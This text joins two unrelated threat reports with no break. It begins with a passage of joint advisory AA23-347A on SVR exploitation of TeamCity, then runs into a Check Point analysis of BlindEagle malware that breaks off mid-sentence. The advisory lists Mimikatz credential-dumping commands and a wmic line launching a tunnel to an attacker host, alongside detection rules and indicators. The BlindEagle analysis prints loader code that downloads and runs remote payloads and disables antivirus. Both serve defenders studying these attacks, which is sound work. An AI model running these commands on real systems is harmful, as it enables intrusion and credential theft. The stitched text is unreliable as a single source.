Process Injection T1055 SVR cyber actors inject code into AV and EDR processes to evade defenses. Disable or Modify Tools T1562.001 SVR cyber actors may modify and/or disable tools to avoid possible detection of their malware/tools and activities. Hide Artifacts T1564 SVR cyber actors may attempt to hide artifacts associated with their behaviors to evade detection. Hide Artifacts: Hidden Files and Directories T1564.001 When communicating with cloud services, GraphicalProton generates a randomly named directory which is used to store infection-specific BMP files - with both commands and results. Table 7: SVR Cyber actors ATT&CK Techniques for Enterprise: Credential Access Technique Title OS Credential Dumping: LSASS Memory T1003.001 SVR cyber actors executed Mimikatz commands in memory to gain access to credentials stored in memory. Page 11 of 27 | Product ID: AA23-347A TLP:CLEAR TLP:CLEAR International Partnership OS Credential Dumping: Security T1003.002 Account Manager SVR cyber actors used: privilege::debug lsadump::cache lsadump::secrets lsadump::sam sekurlsa::logonpasswords Mimikatz commands to gain access to credentials. Additionally, SVR cyber actors exfiltrated Windows registry hives to steal credentials. HKLM\SYSTEM HKLM\SAM HKLM\SECURITY Credentials from Password Stores: Credentials from Web Browsers T1555.003 In a few specific cases, the SVR used the SharpChromium tool to obtain sensitive browser data such as session cookies, browsing history, or saved logins. Steal or Forge Kerberos Tickets: Golden Ticket T1558.001 To secure long-term access to the environment, the SVR used the Rubeus toolkit to craft Ticket Granting Tickets (TGTs). Table 8: SVR Cyber Actors ATT&CK Techniques for Enterprise: Discovery Technique Title System Owner/User Discovery T1033 SVR cyber actors use these built-in commands to perform host reconnaissance: whoami /priv, whoami / all, whoami / groups, whoami / domain to perform user discovery. Network Service Discovery T1046 SVR cyber actors performed network reconnaissance using a mix of built-in commands and additional tools, such as port scanner and PowerSploit. Page 12 of 27 | Product ID: AA23-347A TLP:CLEAR TLP:CLEAR International Partnership Process Discovery T1057 SVR cyber actors use GraphicalProton to gather running processes data. Gather Victim Network Information T1590 SVR cyber actors use GraphicalProton to gather victim network information. Table 9: SVR Cyber Actors ATT&CK Techniques for Enterprise: Lateral Movement Technique Title Exploitation of Remote Services T1210 SVR cyber actors may exploit remote services to gain unauthorized access to internal systems once inside a network. Windows Management Instrumentation T1047 SVR cyber actors executed Rsockstun either in memory or using Windows Management Instrumentation (WMI) to execute malicious commands and payloads. wmic process call create "C:\Program Files\Windows Defender Advanced Threat Protection\Sense.exe -connect poetpages.com -pass M5540sddsf2@34232fsl45t31" Table 10: SVR Cyber Actors ATT&CK Techniques for Enterprise: Command and Control Technique Title Dynamic Resolution T1568 SVR may dynamically establish connections to command-and-control infrastructure to evade common detections and remediations. Protocol Tunneling T1572 SVR cyber actors may tunnel network communications to and from a victim system within a separate protocol to avoid detection/network filtering and/or enable access to otherwise unreachable systems. Page 13 of 27 | Product ID: AA23-347A TLP:CLEAR TLP:CLEAR International Partnership In selected environments, the SVR used an additional tool named, rr.exe a modified open source reverse socks tunneler named Rsockstunm to establish a tunnel to the C2 infrastructure. Table 11: SVR Cyber Actors ATT&CK Techniques for Enterprise: Exfiltration Technique Title Automated Exfiltration T1020 SVR cyber actors may exfiltrate data, such as sensitive documents, through the use of automated processing after being gathered during collection. Exfiltration Over C2 Channel T1041 SVR cyber actors may steal data by exfiltrating it over an existing C2 channel. Stolen data is encoded into normal communications using the same protocol as C2 communications. Exfiltration Over Web Service T1567 SVR cyber actors use OneDrive and Dropbox to exfiltrate data to their C2 station. INDICATORS OF COMPROMISE Note: Please refer to Appendix B for a list of IOCs. VICTIM TYPES As a result of this latest SVR cyber activity, the FBI, CISA, NSA, SKW, CERT Polska, and NCSC have identified a few dozen compromised companies in the United States, Europe, Asia, and Australia, and are aware of over a hundred compromised devices though we assess this list does not represent the full set of compromised organizations. Generally, the victim types do not fit into any sort of pattern or trend, aside from having an unpatched, Internet-reachable JetBrains TeamCity server, leading to the assessment that SVR s exploitation of these victims networks was opportunistic in nature and not necessarily a targeted attack. Identified victims included: an energy trade association; companies that provide software for billing, medical devices, customer care, employee monitoring, financial management, marketing, sales, and video games; as well as hosting companies, tools manufacturers, and small and large IT companies. Page 14 of 27 | Product ID: AA23-347A TLP:CLEAR TLP:CLEAR International Partnership DETECTION METHODS The following rules can be used to detect activity linked to adversary activity. These rules should serve as examples and adapt to each organization s environment and telemetry. SIGMA rules Presented SIGMA rules target identified operators behavior patterns and can be used for the threat hunting against collected logs. title: Privilege information listing via whoami description: Detects whoami.exe execution and listing of privileges author: references: https://learn.microsoft.com/en-us/windows-server/administration/windowscommands/whoami date: 2023/11/15 logsource: category: process_creation product: windows detection: selection: Image|endswith: - 'whoami.exe' CommandLine|contains: - 'priv' - 'PRIV' condition: selection falsepositives: legitimate use by system administrator title: DC listing via nltest description: Detects nltest.exe execution and DC listing author: references: date: 2023/11/15 logsource: category: process_creation product: windows detection: selection: Image|endswith: - 'nltest.exe' CommandLine|re: '.*dclist\:.*|.*DCLIST\:.*|.*dsgetdc\:.*|.*DSGETDC\:.*' condition: selection falsepositives: legitimate use by system administrator title: DLL execution via WMI description: Detects DLL execution via WMI author: references: date: 2023/11/15 Page 15 of 27 | Product ID: AA23-347A TLP:CLEAR TLP:CLEAR International Partnership logsource: category: process_creation product: windows detection: selection: Image|endswith: - 'WMIC.exe' CommandLine|contains|all: - 'call' - 'rundll32' condition: selection falsepositives: legitimate use by software or system administrator title: Process with connect and pass as args description: Process with connect and pass as args author: references: date: 2023/11/15 logsource: category: process_creation product: windows detection: selection: CommandLine|contains|all: - 'pass' - 'connect' condition: selection falsepositives: legitimate use of rsockstun or software with exact same arguments title: Service or Drive enumeration via powershell description: Service or Drive enumeration via powershell author: references: date: 2023/11/15 logsource: category: ps_script product: windows detection: selection_1: ScriptBlockText|contains|all: - 'Get-WmiObject' - '-Class' - 'Win32_Service' selection_2: ScriptBlockText|contains|all: - 'Get-WindowsDriver' - '-Online' - '-All' condition: selection_1 or selection_2 Page 16 of 27 | Product ID: AA23-347A TLP:CLEAR TLP:CLEAR International Partnership falsepositives: legitimate use by system administrator title: Compressing files from temp to temp description: Compressing files from temp\ to temp used by SVR to prepare data to be exfiltrated references: author: date: 2023/11/15 logsource: category: ps_script product: windows detection: selection: ScriptBlockText|re: '.*Compress\-Archive.*Path.*Windows\\[Tt]{1}emp\\[19]{1}.*DestinationPath.*Windows\\[Tt]{1}emp\\.*' condition: selection title: DLL names used by SVR for GraphicalProton backdoor description: Hunts for known SVR-specific DLL names. references: author: date: 2023/11/15 logsource: category: image_load product: windows detection: selection: ImageLoaded|endswith: - 'AclNumsInvertHost.dll' - 'ModeBitmapNumericAnimate.dll' - 'UnregisterAncestorAppendAuto.dll' - 'DeregisterSeekUsers.dll' - 'ScrollbarHandleGet.dll' - 'PerformanceCaptionApi.dll' - 'WowIcmpRemoveReg.dll' - 'BlendMonitorStringBuild.dll' - 'HandleFrequencyAll.dll' - 'HardSwapColor.dll' - 'LengthInMemoryActivate.dll' - 'ParametersNamesPopup.dll' - 'ModeFolderSignMove.dll' - 'ChildPaletteConnected.dll' - 'AddressResourcesSpec.dll' condition: selection title: Sensitive registry entries saved to file description: Sensitive registry entries saved to file author: references: date: 2023/11/15 logsource: Page 17 of 27 | Product ID: AA23-347A TLP:CLEAR TLP:CLEAR International Partnership category: process_creation product: windows detection: selection_base: Image|endswith: - 'reg.exe' CommandLine|contains: 'save' CommandLine|re: '.*HKLM\\SYSTEM.*|.*HKLM\\SECURITY.*|.*HKLM\\SAM.*' selection_file: CommandLine|re: '.*sy\.sa.*|.*sam\.sa.*|.*se\.sa.*' condition: selection_base and selection_file title: Scheduled tasks names used by SVR for GraphicalProton backdoor description: Hunts for known SVR-specific scheduled task names author: references: date: 2023/11/15 logsource: category: taskscheduler product: windows detection: selection: EventID: - 4698 - 4699 - 4702 TaskName: - '\Microsoft\Windows\IISUpdateService' - '\Microsoft\Windows\WindowsDefenderService' - '\Microsoft\Windows\WindowsDefenderService2' - '\Microsoft\DefenderService' - '\Microsoft\Windows\DefenderUPDService' - '\Microsoft\Windows\WiMSDFS' - '\Microsoft\Windows\Application Experience\StartupAppTaskCkeck' - '\Microsoft\Windows\Windows Error Reporting\SubmitReporting' - '\Microsoft\Windows\Windows Defender\Defender Update Service' - '\WindowUpdate' - '\Microsoft\Windows\Windows Error Reporting\CheckReporting' - '\Microsoft\Windows\Application Experience\StartupAppTaskCheck' - '\Microsoft\Windows\Speech\SpeechModelInstallTask' - '\Microsoft\Windows\Windows Filtering Platform\BfeOnServiceStart' - '\Microsoft\Windows\Data Integrity Scan\Data Integrity Update' - '\Microsoft\Windows\WindowsUpdate\Scheduled AutoCheck' - '\Microsoft\Windows\ATPUpd' - '\Microsoft\Windows\Windows Defender\Service Update' - '\Microsoft\Windows\WindowsUpdate\Scheduled Check' - '\Microsoft\Windows\WindowsUpdate\Scheduled AutoCheck' - '\Defender' - '\defender' - '\\Microsoft\\Windows\\IISUpdateService' - '\\Microsoft\\Windows\\WindowsDefenderService' Page 18 of 27 | Product ID: AA23-347A TLP:CLEAR TLP:CLEAR International Partnership - '\\Microsoft\\Windows\\WindowsDefenderService2' - '\\Microsoft\\DefenderService' - '\\Microsoft\\Windows\\DefenderUPDService' - '\\Microsoft\\Windows\\WiMSDFS' - '\\Microsoft\\Windows\\Application Experience\\StartupAppTaskCkeck' - '\\Microsoft\\Windows\\Windows Error Reporting\\SubmitReporting' - '\\Microsoft\\Windows\\Windows Defender\\Defender Update Service' - '\\WindowUpdate' - '\\Microsoft\\Windows\\Windows Error Reporting\\CheckReporting' - '\\Microsoft\\Windows\\Application Experience\\StartupAppTaskCheck' - '\\Microsoft\\Windows\\Speech\\SpeechModelInstallTask' - '\\Microsoft\\Windows\\Windows Filtering Platform\\BfeOnServiceStart' - '\\Microsoft\\Windows\\Data Integrity Scan\Data Integrity Update' - '\\Microsoft\\Windows\\WindowsUpdate\\Scheduled AutoCheck' - '\\Microsoft\\Windows\\ATPUpd' - '\\Microsoft\\Windows\\Windows Defender\\Service Update' - '\\Microsoft\\Windows\\WindowsUpdate\\Scheduled Check' - '\\Microsoft\\Windows\\WindowsUpdate\\Scheduled AutoCheck' - '\\Defender' - '\\defender' condition: selection title: Scheduled tasks names used by SVR for GraphicalProton backdoor description: Hunts for known SVR-specific scheduled task names author: references: date: 2023/11/15 logsource: category: process_creation product: windows detection: selection: Image|endswith: - 'schtasks.exe' CommandLine|contains: - 'IISUpdateService' - 'WindowsDefenderService' - 'WindowsDefenderService2' - 'DefenderService' - 'DefenderUPDService' - 'WiMSDFS' - 'StartupAppTaskCkeck' - 'SubmitReporting' - 'Defender Update Service' - 'WindowUpdate' - 'CheckReporting' - 'StartupAppTaskCheck' - 'SpeechModelInstallTask' - 'BfeOnServiceStart' - 'Data Integrity Update' - 'Scheduled AutoCheck' - 'ATPUpd' Page 19 of 27 | Product ID: AA23-347A TLP:CLEAR TLP:CLEAR International Partnership - 'Service Update' - 'Scheduled Check' - 'Scheduled AutoCheck' - 'Defender' - 'defender' selection_re: Image|endswith: - 'schtasks.exe' CommandLine|re: - '.*Defender\sUpdate\sService.*' - '.*Data\sIntegrity\sUpdate.*' - '.*Scheduled\sAutoCheck.*' - '.*Service\sUpdate.*' - '.*Scheduled\sCheck.*' - '.*Scheduled\sAutoCheck.*' condition: selection or selection_re title: Suspicious registry modifications description: Suspicious registry modifications author: references: date: 2023/11/15 logsource: category: registry_set product: windows detection: selection: EventID: 4657 TargetObject|contains: - 'CurrentControlSet\\Control\\Lsa\\DisableRestrictedAdmin' - 'CurrentControlSet\\Control\\Lsa\\NoLMHash' condition: selection title: Registry modification from cmd description: Registry modification from cmd author: references: date: 2023/11/15 logsource: category: process_creation product: windows detection: selection: Image|endswith: - 'reg.exe' CommandLine|contains|all: - 'CurrentControlSet' - 'Lsa' Page 20 of 27 | Product ID: AA23-347A TLP:CLEAR TLP:CLEAR International Partnership CommandLine|contains: - 'DisableRestrictedAdmin' - 'NoLMHash' condition: selection title: Malicious Driver Load description: Detects the load of known malicious drivers via their names or hash. references: - https://github.com/wavestone-cdt/EDRSandblast#edr-drivers-and-processes-detection author: date: 2023/11/15 logsource: category: driver_load product: windows detection: selection_name: ImageLoaded|endswith: - 'RTCore64.sys' - 'DBUtils_2_3.sys' selection_hash: Hashes|contains: - '01aa278b07b58dc46c84bd0b1b5c8e9ee4e62ea0bf7a695862444af32e87f1fd' - '0296e2ce999e67c76352613a718e11516fe1b0efc3ffdb8918fc999dd76a73a5' condition: selection_name or selection_hash YARA rules The following rule detects most known GraphicalProton variants. rule APT29_GraphicalProton { strings: // C1 E9 1B ecx, 1Bh // 48 8B 44 24 08 rax, [rsp+30h+var_28] // 8B 50 04 edx, [rax+4] // C1 E2 05 edx, 5 // 09 D1 ecx, edx // 48 8B 44 24 08 rax, [rsp+30h+var_28] $op_string_crypt = { c1 e? (1b | 18 | 10 | 13 | 19 | 10) 48 [4] 8b [2] c1 e? (05 | 08 | 10 | 0d | 07) 09 ?? 48 } // 48 05 20 00 00 00 // 48 89 C1 // 48 8D 15 0A A6 0D 00 // 41 B8 30 00 00 00 // E8 69 B5 FE FF // 48 8B 44 24 30 // 48 05 40 00 00 00 // 48 89 C1 // 48 8D 15 1B A6 0D 00 // 41 B8 70 01 00 00 // E8 49 B5 FE FF // 48 8B 44 24 30 call call rax, 20h ; ' ' rcx, rax rdx, unk_14011E546 r8d, 30h ; '0' sub_14002F4B0 rax, [rsp+88h+var_58] rax, 40h ; '@' rcx, rax rdx, unk_14011E577 r8d, 170h sub_14002F4B0 rax, [rsp+88h+var_58] Page 21 of 27 | Product ID: AA23-347A TLP:CLEAR TLP:CLEAR International Partnership // 48 05 60 00 00 00 rax, 60h ; '`' // 48 89 C1 rcx, rax // 48 8D 15 6C A7 0D 00 rdx, unk_14011E6E8 // 41 B8 2F 00 00 00 r8d, 2Fh ; '/' // E8 29 B5 FE FF call sub_14002F4B0 // 48 8B 44 24 30 rax, [rsp+88h+var_58] // 48 05 80 00 00 00 rax, 80h // 48 89 C1 rcx, rax // 48 8D 15 7C A7 0D 00 rdx, unk_14011E718 // 41 B8 2F 00 00 00 r8d, 2Fh ; '/' // E8 09 B5 FE FF call sub_14002F4B0 // 48 8B 44 24 30 rax, [rsp+88h+var_58] // 48 05 A0 00 00 00 rax, 0A0h $op_decrypt_config = { 48 05 20 00 00 00 48 89 C1 48 [6] 41 B8 ?? ?? 00 00 E8 [4] 48 [4] 48 05 40 00 00 00 48 89 C1 48 [6] 41 B8 ?? ?? 00 00 E8 [4] 48 [4] 48 05 60 00 00 00 48 89 C1 48 [6] 41 B8 ?? ?? 00 00 E8 [4] 48 [4] 48 05 80 00 00 00 48 89 C1 48 [6] 41 B8 ?? ?? 00 00 E8 [4] 48 [4] 48 05 A0 00 00 00 condition: all of them Note: These rules are meant for threat hunting and have not been tested on a larger dataset. MITIGATIONS The FBI, CISA, NSA, SKW, CERT Polska, and NCSC assess the scope and indiscriminate targeting of this campaign poses a threat to public safety and recommend organizations implement the mitigations below to improve organization s cybersecurity posture. These mitigations align with the Cross-Sector Cybersecurity Performance Goals (CPGs) developed by CISA and the National Institute of Standards and Technology (NIST). The CPGs provide a minimum set of practices and protections that CISA and NIST recommend all organizations implement. CISA and NIST based the CPGs on existing cybersecurity frameworks and guidance to protect against the most common and impactful threats, tactics, techniques, and procedures. Visit CISA s Cross-Sector Cybersecurity Performance Goals for more information on the CPGs, including additional recommended baseline protections. Apply available patches for CVE-2023-42793 issued by JetBrains TeamCity in midSeptember 2023, if not already completed. Monitor the network for evidence of encoded commands and execution of network scanning tools. Ensure host-based anti-virus/endpoint monitoring solutions are enabled and set to alert if monitoring or reporting is disabled, or if communication is lost with a host agent for more than a reasonable amount of time. Require use of multi-factor authentication [CPG 1.3] for all services to the extent possible, particularly for email, virtual private networks, and accounts that access critical systems. Page 22 of 27 | Product ID: AA23-347A TLP:CLEAR TLP:CLEAR International Partnership Organizations should adopt multi-factor authentication (MFA) as an additional layer of security for all users with access to sensitive data. Enabling MFA significantly reduces the risk of unauthorized access, even if passwords are compromised. Keep all operating systems, software, and firmware up to date. Immediately configure newly-added systems to the network, including those used for testing or development work, to follow the organization s security baseline and incorporate into enterprise monitoring tools. Audit log files to identify attempts to access privileged certificates and creation of fake identity providers. Deploy software to identify suspicious behavior on systems. Deploy endpoint protection systems with the ability to monitor for behavioral indicators of compromise. Use available public resources to identify credential abuse with cloud environments. Configure authentication mechanisms to confirm certain user activities on systems, including registering new devices. VALIDATE SECURITY CONTROLS In addition to applying mitigations, FBI, CISA, NSA, SKW, CERT Polska, and NCSC recommend exercising, testing, and validating your organization's security program against the threat behaviors mapped to the MITRE ATT&CK for Enterprise framework in this advisory. FBI, CISA, NSA, SKW, CERT Polska, and NCSC recommend testing your existing security controls inventory to assess how they perform against the ATT&CK techniques described in this advisory. To get started: Select an ATT&CK technique described in this advisory (see previous tables). Align your security technologies against the technique. Test your technologies against the technique. Analyze your detection and prevention technologies performance. Repeat the process for all security technologies to obtain a set of comprehensive performance data. 6. Tune your security program, including people, processes, and technologies, based on the data generated by this process. FBI, CISA, NSA, SKW, CERT Polska, and NCSC recommend continually testing your security program, at scale, in a production environment to ensure optimal performance against the MITRE ATT&CK techniques identified in this advisory. REFERENCES FBI, DHS, CISA, Joint Cyber Security Advisory, Russian Foreign Intelligence Service (SVR) Cyber Operations: Trends and Best Practices for Network Defenders NSA, CISA, FBI, Joint Cyber Security Advisory, Russian SVR Targets U.S. and Allied Networks CISA, Remediating Networks Affected by the Solarwinds and Active Directory/M365 Compromise Page 23 of 27 | Product ID: AA23-347A TLP:CLEAR TLP:CLEAR International Partnership CISA, Alert (AA21-008A), Detecting Post-Compromise Threat Activity in Microsoft Cloud Environments CISA, Alert (AA20-352A), Advanced Persistent Threat Compromise of Government Agencies, Critical Infrastructure, and Private Sector Organizations CISA, CISA Insights, What Every Leader Needs to Know About the Ongoing APT Cyber Activity FBI, CISA, Joint Cybersecurity Advisory, Advanced Persistent Threat Actors Targeting U.S. Think Tanks CISA, Malicious Activity Targeting COVID-19 Research, Vaccine Development NCSC, CSE, NSA, CISA, Advisory: APT 29 Targets COVID-19 Vaccine Development The information in this report is being provided as is for informational purposes only. FBI, CISA, NSA, SKW, CERT Polska, and NCSC do not endorse any commercial entity, product, company, or service, including any entities, products, or services linked within this document. Any reference to specific commercial entities, products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply endorsement, recommendation, or favoring by FBI, CISA, NSA, SKW, CERT Polska, and NCSC. VERSION HISTORY December 12, 2023: Initial version. Page 24 of 27 | Product ID: AA23-347A TLP:CLEAR TLP:CLEAR International Partnership APPENDIX A INDICATORS OF COMPROMISE CVE-2023-42793 On a Windows system, the log file C:\TeamCity\logs\teamcity-server.log will contain a log message when an attacker modified the internal.properties file. There will also be a log message for every process created via the /app/rest/debug/processes endpoint. In addition to showing the command line used, the user ID of the user account whose authentication token was used during the attack is also shown. For example: [2023-09-26 11:53:46,970] INFO - ntrollers.FileBrowseController - File edited: C:\ProgramData\JetBrains\TeamCity\config\internal.properties by user with id=1 [2023-09-26 11:53:46,970] INFO - s.buildServer.ACTIVITIES.AUDIT server_file_change: File C:\ProgramData\JetBrains\TeamCity\config\internal.properties was modified by "user with id=1" [2023-09-26 11:53:58,227] INFO - tbrains.buildServer.ACTIVITIES External process is launched by user user with id=1. Command line: cmd.exe "/c whoami" An attacker may attempt to cover their tracks by wiping this log file. It does not appear that TeamCity logs individual HTTP requests, but if TeamCity is configured to sit behind a HTTP proxy, the HTTP proxy may have suitable logs showing the following target endpoints being accessed: /app/rest/users/id:1/tokens/RPC2 This endpoint is required to exploit the vulnerability. /app/rest/users This endpoint is only required if the attacker wishes to create an arbitrary user. /app/rest/debug/processes This endpoint is only required if the attacker wishes to create an arbitrary process. Note: The user ID value may be higher than 1. Page 25 of 27 | Product ID: AA23-347A TLP:CLEAR TLP:CLEAR International Partnership APPENDIX B IOCS File IoCs GraphicalProton backdoor: 01B5F7094DE0B2C6F8E28AA9A2DED678C166D615530E595621E692A9C0240732 34C8F155601A3948DDB0D60B582CFE87DE970D443CC0E05DF48B1A1AD2E42B5E 620D2BF14FE345EEF618FDD1DAC242B3A0BB65CCB75699FE00F7C671F2C1D869 773F0102720AF2957859D6930CD09693824D87DB705B3303CEF9EE794375CE13 7B666B978DBBE7C032CEF19A90993E8E4922B743EE839632BFA6D99314EA6C53 8AFB71B7CE511B0BCE642F46D6FC5DD79FAD86A58223061B684313966EFEF9C7 971F0CED6C42DD2B6E3EA3E6C54D0081CF9B06E79A38C2EDE3A2C5228C27A6DC CB83E5CB264161C28DE76A44D0EDB450745E773D24BEC5869D85F69633E44DCF CD3584D61C2724F927553770924149BB51811742A461146B15B34A26C92CAD43 EBE231C90FAD02590FC56D5840ACC63B90312B0E2FEE7DA3C7606027ED92600E F1B40E6E5A7CBC22F7A0BD34607B13E7E3493B8AAD7431C47F1366F0256E23EB C7B01242D2E15C3DA0F45B8ADEC4E6913E534849CDE16A2A6C480045E03FBEE4 4BF1915785D7C6E0987EB9C15857F7AC67DC365177A1707B14822131D43A6166 GraphicalProton HTTPS backdoor: 18101518EAE3EEC6EBE453DE4C4C380160774D7C3ED5C79E1813013AC1BB0B93 19F1EF66E449CF2A2B0283DBB756850CCA396114286E1485E35E6C672C9C3641 1E74CF0223D57FD846E171F4A58790280D4593DF1F23132044076560A5455FF8 219FB90D2E88A2197A9E08B0E7811E2E0BD23D59233287587CCC4642C2CF3D67 92C7693E82A90D08249EDEAFBCA6533FED81B62E9E056DEC34C24756E0A130A6 B53E27C79EED8531B1E05827ACE2362603FB9F77F53CEE2E34940D570217CBF7 C37C109171F32456BBE57B8676CC533091E387E6BA733FBAA01175C43CFB6EBD C40A8006A7B1F10B1B42FDD8D6D0F434BE503FB3400FB948AC9AB8DDFA5B78A0 C832462C15C8041191F190F7A88D25089D57F78E97161C3003D68D0CC2C4BAA3 F6194121E1540C3553273709127DFA1DAAB96B0ACFAB6E92548BFB4059913C69 Backdoored vcperf: D724728344FCF3812A0664A80270F7B4980B82342449A8C5A2FA510E10600443 Backdoored Zabbix installation archive: 4EE70128C70D646C5C2A9A17AD05949CB1FBF1043E9D671998812B2DCE75CF0F Backdoored Webroot AV installation archive: 950ADBAF66AB214DE837E6F1C00921C501746616A882EA8C42F1BAD5F9B6EFF4 Modified rsockstun CB83E5CB264161C28DE76A44D0EDB450745E773D24BEC5869D85F69633E44DCF Network IoCs Page 26 of 27 | Product ID: AA23-347A TLP:CLEAR TLP:CLEAR International Partnership Tunnel Endpoints 65.20.97[.]203 65.21.51[.]58 Exploitation Server 103.76.128[.]34 GraphicalProton HTTPS C2 URL: hxxps://matclick[.]com/wp-query[.]php Page 27 of 27 | Product ID: AA23-347A TLP:CLEAR BlindEagle Targeting Ecuador With Sharpened Tools research.checkpoint.com/2023/blindeagle-targeting-ecuador-with-sharpened-tools January 5, 2023 Research by: Marc Salinas Fernandez. HIGHLIGHTS: APT-C-36, also known as Blind Eagle, is a financially motivated threat group that has been launching indiscriminate attacks against citizens of various countries in South America since at least 2018. In a recent campaign targeting Ecuador based organizations, CPR detected a new infection chain that involves a more advanced toolset. The backdoor chosen for this campaign is typically used by espionage campaigns, which is unusual for this group ACTIVE CAMPAIGNS AGAINST COLOMBIAN TARGETS For the last few months, we have been observing the ongoing campaigns orchestrated by Blind Eagle, which have mostly adhered to the TTPs described above phishing emails pretending to be from the Colombian government. One typical example is an email purportedly from the Ministry of Foreign Affairs, threatening the recipient with issues when leaving the country unless they settle a bureaucratic matter. Such emails usually feature either a malicious document or a malicious link, but in this case, the attackers said why not both? and included both a link and a terse attached PDF directing the unfortunate victim to the exact same link. In both cases, the link in question consists of a legitimate link-shortening service URL that geolocates victims and makes them communicate with a different server depending on the original country ( https://gtly[.]to/QvlFV_zgh ). If the incoming HTTP request originates from outside Colombia, the server aborts the infection chain, acts innocent and redirects the client to the official website of the migration department of the Colombian Ministry of Foreign Affairs. If the incoming request seems to arrive from Colombia, the infection chain proceeds as scheduled. The server responds to the client with a file for download. This is a malware executable hosted on the file-sharing service MediaFire. The file is compressed, similar to a ZIP file, using the LHA algorithm. It is password-protected, making it impervious against naive static analysis and even naive sandbox emulation. The password is found both in the email and in the attached PDF. The malicious executable inside the LHA is written in .Net and packed. When unpacked, a modified sample of QuasarRAT is revealed. QuasarRAT is an open source trojan available in multiple sources like Github. The (probably Spanish-speaking) actors behind this APT group have added some extra capabilities over the last few years, which are easy to spot due to the names of functions and variables in Spanish. This process, by which threat actors abuse access to malware sources and each create their own special versions of that malware, is sadly not without precedent in the security landscape and always makes us heave a sad sigh when we encounter it. Although QuasarRAT is not a dedicated banking Trojan, it can be observed from the sample s embedded strings that the group s main goal in the campaign was to intercept victim access to their bank account. This is a complete list of targeted entities: Bancolombia Sucursal Virtual Personas Sucursal_Virtual_Empresas_ Portal Empresarial Davivienda BBVA Net Cash Colpatria Banca Empresas bancaempresas.bancocajasocial.com Empresarial Banco de Bogota conexionenlinea.bancodebogota.com AV Villas Banca Empresarial Bancoomeva Banca Empresarial TRANSUNION Banco Popular portalpymes Blockchain DashboardDavivienda Some extra features added to Quasar by this group are a function named ActivarRDP (activate RDP) and two more to activate and deactivate the system Proxy: Along with a few more commands that incur technical debt by impudently disregarding Quasar s convention for function name and parameter order: A BETTER CAMPAIGN FEATURING NEWER TOOLS One specific sample caught our attention as it was related to a government institution from Ecuador and not from Colombia. While Blind Eagle attacking Ecuador is not unprecedented, it is still unusual. Similarly to the campaign described above, the geo-filter server in this campaign redirects requests outside of Ecuador and Colombia to the website of the Ecuadorian Internal Revenue Service: If contacted from Colombia or Ecuador, the downloaded file from Mediafire will be a RAR archive with a password. But instead of a single executable consisting of some packed RAT, the infection chain, in this case, is much more elaborate: Inside the RAR archive, there is an executable built with PyInstaller with a rather simplistic Python 3.10 code. This code just adds a new stage in the infection chain: import os import subprocess import ctypes ctypes.windll.user32.ShowWindow(ctypes.windll.kernel32.GetConsoleWindow(), 0) wsx = 'mshta [.] to/dGBeBqd8z' os.system(wsx) mshta is a utility that executes Microsoft HTML Applications, and the attackers abuse it here to download and execute the next stage, which contains VBS code embedded in an HTML. Usually campaigns by Blind Eagle abuse legitimate file sharing services such as Mediafire or free dynamic domains like *.linkpc.net ; this case is different, and the next stage is hosted at the malicious domain upxsystems[.]com. This next-stage downloads and executes yet another next-stage, a script written in Powershell: function StartA{ [version]$OSVersion = [Environment]::OSVersion.Version If ($OSVersion -gt "10.0") { iex (new-object net.webclient).downloadstring("https://[malicious domain]/covidV22/ini/w10/0") } ElseIf ($OSVersion -gt "6.3") { iex (new-object net.webclient).downloadstring("https://[malicious domain]/covidV22/ini/w8/0") } ElseIf ($OSVersion -gt "6.2") { iex (new-object net.webclient).downloadstring("https://[malicious domain]/covidV22/ini/w8/0") } ElseIf ($OSVersion -gt "6.1") { iex (new-object net.webclient).downloadstring("http://[malicious domain]/covidV22/ini/w7/0") StartA The above Powershell checks the system version and downloads the appropriate additional Powershell. This additional OS-specific Powershell checks for installed AV tools and behaves differently based on its findings. The main difference between each next stage consists in different pieces of code that will try to disable the security solution (for example Windows Defender), but in all cases, regardless of the type of security solution installed on the computer, the next stagewill download a version of python suitable for the target OS and install it: Function PY(){ if([System.IntPtr]::Size -eq 4) $progressPreference = 'silentlyContinue' $url = "" $output = "$env:PUBLIC\\py.zip" $start_time = Get-Date $wc = New-Object System.Net.WebClient $wc.DownloadFile($url, $output) New-Item "$env:PUBLIC\\py" -type directory $FILE=Get-Item "$env:PUBLIC\\py" -Force $FILE.attributes='Hidden' $shell = New-Object -ComObject Shell.Application $zip = $shell.Namespace("$env:PUBLIC\\py.zip") $items = $zip.items() $shell.Namespace("$env:PUBLIC\\py").CopyHere($items, 1556) start-sleep -Seconds 2; Remove-Item "$env:PUBLIC\\py.zip" Remove-Item "$env:USERPROFILE\\PUBLIC\\Local\\Microsoft\\WindowsApps\\*.*" -Recurse -Force Remove-Item "$env:USERPROFILE\\AppData\\Local\\Microsoft\\WindowsApps\\*.*" -Recurse -Force setx PATH "$env:path;$env:PUBLIC\\py" New-Item -Path HKCU:\\Software\\Classes\\Applications\\python.exe\\shell\\open\\command\\ -Value """$env:PUBLIC\\py\\python.exe"" ""%1""" -Force Set-ItemProperty -path 'hkcu:\\Software\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\Shell\\MuiCache\\' -name "$env:PUBLIC\\py\\python.exe.ApplicationCompany" -value "Python Software Foundation" Set-ItemProperty -path 'hkcu:\\Software\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\Shell\\MuiCache\\' -name "$env:PUBLIC\\py\\python.exe.FriendlyAppName" -value "Python" .... It will then download two scripts named mp.py and ByAV2.py which will be stored in the user %Public% folder and for which it will create a scheduled task that will run every 10 minutes. For Windows 7 the task will be created by downloading an XML from the C2 upxsystems[.]com , while for Windows 8, 8.1, and 10 the malware will create the task using the cmdlet New-ScheduledTask* In the case of Windows 7, the task is preconfigured to be executed as System and contains the following description Mantiene actualizado tu software de Google. Si esta tarea se desactiva o se detiene, tu software de Google no se mantendr actualizado, lo que implica que las vulnerabilidades de seguridad que puedan aparecer no podr n arreglarse y es posible que algunas funciones no anden. Esta tarea se desinstala autom ticamente si ning n software de Google la utiliza. s written using the kind of Spanish that is commonly spoken in the target countries, which can be noticed for example with the use of posible que algunas funciones no anden instead of no se ejecuten or any other variation more common in different geographic regions. The full description can be translated to: Keeps your Google software up to date. If this task is disabled or stopped, your Google software will not be kept up to date, which means that security vulnerabilities that may appear cannot be fixed and some features may not work. This task is automatically uninstalled if no Google software uses it. After downloading the Python scripts and adding persistence, the malware will try to kill all processes related to the infection. Regarding the two downloaded scripts, both are obfuscated using homebrew encoding that consists of base64 repeated 5 times (we will never, ever, tire of responding to such design choices with known to be 5 times as secure as vanilla base64 After deciphering these strings for each 